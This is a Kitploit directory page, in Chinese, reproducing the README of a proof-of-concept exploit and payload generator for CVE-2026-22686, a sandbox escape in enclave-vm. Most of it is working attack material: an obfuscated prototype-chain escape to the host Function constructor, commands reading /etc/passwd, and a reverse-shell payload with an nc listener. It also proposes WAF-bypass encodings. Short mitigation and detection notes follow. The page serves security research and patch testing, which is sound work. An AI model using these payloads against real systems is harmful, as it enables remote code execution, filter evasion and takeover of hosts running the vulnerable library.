Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-22686-RemoteCodeExecution-RCE-PoC — CVE-2026-22686 的概念验证漏洞利用与载荷生成器,该漏洞是 enclave-vm <2.7.0 中的沙箱逃逸,可导致任意代码执行和反向 shell。 | Kitploit
工具/GitHubGitHub/moi404/cve-2026-22686-remotecodeexecution-rce-poc
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试论文与研究学习与教育红队

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHub
moi404/cve-2026-22686-remotecodeexecution-rce-poc

CVE-2026-22686-RemoteCodeExecution-RCE-PoC

CVE-2026-22686 的概念验证漏洞利用与载荷生成器,该漏洞是 enclave-vm <2.7.0 中的沙箱逃逸,可导致任意代码执行和反向 shell。

查看仓库
3小时43分前尚未审核

CVE-2026-22686 — enclave-vm 沙箱逃逸 PoC

CVE CVSS enclave-vm Python License

针对 CVE-2026-22686 的概念验证(PoC)漏洞利用与载荷生成器。该漏洞是 enclave-vm 2.7.0 之前版本中的一个严重沙箱逃逸漏洞,允许在宿主 Node.js 运行时中执行任意代码。

⚠️ 免责声明:本工具仅供教育和授权安全测试目的使用。未经事先书面同意对系统进行使用属于违法行为。作者对任何滥用行为不承担任何责任。


📖 目录

  • 概述
  • 漏洞详情
  • 工作原理
  • 安装
  • 使用方法
  • 载荷剖析
  • 缓解措施
  • 法律声明
  • 参考资料
  • 作者
  • 许可证

🔍 概述

enclave-vm 是一个 JavaScript 沙箱库,旨在在受控环境中安全地执行不受信任的代码。在 < 2.7.0 版本中,宿主侧错误对象暴露给沙箱的方式存在缺陷,允许攻击者遍历原型链并访问宿主的 Function 构造函数,从而有效逃逸沙箱。

本仓库包含:

  • 一个载荷生成器,可生成可直接粘贴的 JavaScript 载荷
  • 支持在宿主上执行任意命令
  • 支持反向 shell 载荷
  • 双语交互式 CLI(法语 / 英语)

🛡️ 漏洞详情

根本原因

当沙箱内的工具调用失败时,enclave-vm 会将宿主侧的 Error 对象暴露回沙箱代码。由于该错误对象保留了来自宿主环境的原始原型链,攻击者可以按如下方式向上遍历原型链:

root@kitploit:~
Error 实例
   └── Error.prototype
        └── Error 构造函数
             └── Function 构造函数  ← 宿主的 Function!

一旦获取了宿主的 Function 构造函数,攻击者就可以在宿主运行时中编译并执行任意 JavaScript——完全绕过沙箱。


⚙️ 工作原理

该漏洞利用遵循以下步骤:

  1. 触发宿主侧错误,通过调用不存在的工具(callTool('NONEXISTENT', {}))。
  2. 从沙箱中获取错误对象(它保留了对宿主原型链的引用)。
  3. 遍历原型链以到达 Error.prototype.constructor.constructor,即宿主的 Function。
  4. 使用宿主 Function 编译攻击者的载荷并执行它。
  5. 载荷加载 child_process 并执行任意 shell 命令(或生成反向 shell)。

所有敏感关键字(constructor、__proto__、__lookupGetter__、prototype)均以 ASCII 字符码进行混淆,以绕过简单的静态过滤器。


📦 安装

无外部依赖——仅使用 Python 标准库。

root@kitploit:~
git clone https://github.com/moi_404/CVE-2026-22686-PoC.git
cd CVE-2026-22686-PoC
chmod +x generator.py

要求:

  • Python 3.8+

🚀 使用方法

交互模式

root@kitploit:~
python3 generator.py

系统将提示您:

  1. 选择语言(法语 / 英语)
  2. 选择载荷类型(命令或反向 shell)
  3. 提供命令 / IP / 端口

然后复制生成的载荷并将其粘贴到存在漏洞的沙箱输入中。

命令执行

root@kitploit:~
python3 generator.py -c "id"
python3 generator.py -c "cat /etc/passwd"
python3 generator.py -c "ls -la /home"

反向 Shell

终端 1(攻击者 — 监听端):

root@kitploit:~
nc -lvnp 4444

终端 2(生成器):

root@kitploit:~
python3 generator.py --revshell 10.10.15.152 4444

复制生成的载荷并粘贴到沙箱中。您应该会在终端 1 中收到一个 shell。

原始载荷输出

root@kitploit:~
python3 generator.py -c "id" --raw > payload.js
python3 generator.py --revshell 10.10.15.152 4444 --raw | xclip -selection clipboard

CLI 选项


🔬 载荷剖析

1. ASCII 解码器

root@kitploit:~
const s = (...args) => String.fromCharCode(...args);

一个用于在运行时解码 ASCII 码数组的小型辅助函数。

2. 混淆关键字

root@kitploit:~
const kCon    = s(99,111,110,115,116,114,117,99,116,111,114);   // "constructor"
const kProto  = s(95,95,112,114,111,116,111,95,95);              // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);  // "__lookupGetter__"
const kPtype  = s(112,114,111,116,111,116,121,112,101);          // "prototype"

避免基于字符串的简单过滤器。

3. 漏洞利用链

root@kitploit:~
const ObjectProto = Object[kPtype];
const lookup = ObjectProto[kLookup];
const getProtoNative = lookup.call(ObjectProto, kProto);

let hostError;
try {
    await callTool('NONEXISTENT', {});
} catch (e) {
    hostError = e;
}

const errProto = getProtoNative.call(hostError);
const HostFunc = errProto[kCon][kCon];   // 宿主的 Function 构造函数
const result = HostFunc(payload)();      // 任意代码执行

然后使用宿主的 Function 通过 child_process.execSync() 执行攻击者的命令。


🛡️ 缓解措施

面向开发者:

  • 将 enclave-vm 升级到 >= 2.7.0。
  • 定期审计依赖树(npm audit、Snyk、Dependabot)。
  • 在没有额外验证的情况下,切勿将沙箱执行功能暴露给不受信任的输入。
  • 在隔离进程中运行沙箱代码(例如 isolated-vm、gVisor、Firecracker)。

面向用户 / 组织:

  • 监控生产环境中过时的沙箱库。
  • 限制任何执行用户代码的进程的出站网络访问。
  • 应用最小权限原则:以非 root 身份运行 Node.js 进程。

检测:

查找包含 callTool('NONEXISTENT'、__lookupGetter__、由逗号分隔的整数字面量组成的长数组,或 child_process / execSync 的 HTTP 请求或代码提交。


⚖️ 法律声明

本项目严格出于教育和防御性安全研究目的发布。它面向安全研究人员、授权渗透测试人员和 CTF 玩家。

请勿对您不拥有或缺乏明确书面授权进行测试的系统使用本工具。 未经授权访问计算机系统在大多数司法管辖区均属违法(美国的 CFAA、英国的《计算机滥用法》、法国的第 323-1 条),并可能导致严厉的刑事处罚。

使用本软件即表示您同意,作者对因其使用而产生的任何损害或法律后果不承担责任。


📚 参考资料

  • npm 上的 enclave-vm
  • @amusedx 的原始 PoC
  • CWE-693:保护机制失效
  • Node.js child_process 文档
  • OWASP:沙箱最佳实践

👤 作者

  • GitHub: @moi_404

📄 许可证

本项目采用 MIT 许可证 — 详情请参阅 LICENSE 文件。


🙏 致谢

  • @amusedx 的原始漏洞研究与 PoC
  • enclave-vm 维护者的负责任披露与修复
  • 安全社区对 JavaScript 沙箱逃逸的持续研究

⭐ 贡献

欢迎提交 Pull Request。对于重大更改,请先开一个 issue。

建议的改进方向:

  • 额外的编码方式(base64、hex、rot13)以绕过 WAF
  • 自动检测存在漏洞的端点
  • 支持其他沙箱库(vm2、isolated-vm)
  • 单元测试与 CI 集成
下载工具
字段值
CVE IDCVE-2026-22686
CVSS v3.110.0(严重)
CWECWE-693 — 保护机制失效
组件enclave-vm
受影响版本< 2.7.0
修复版本2.7.0
影响沙箱逃逸 → 任意代码执行(RCE)
标志描述
-c, --command要执行的 shell 命令
--revshell LHOST LPORT生成反向 shell 载荷
--raw仅打印载荷(无横幅、无装饰)
--lang {fr,en}强制指定界面语言
-h, --help显示帮助和示例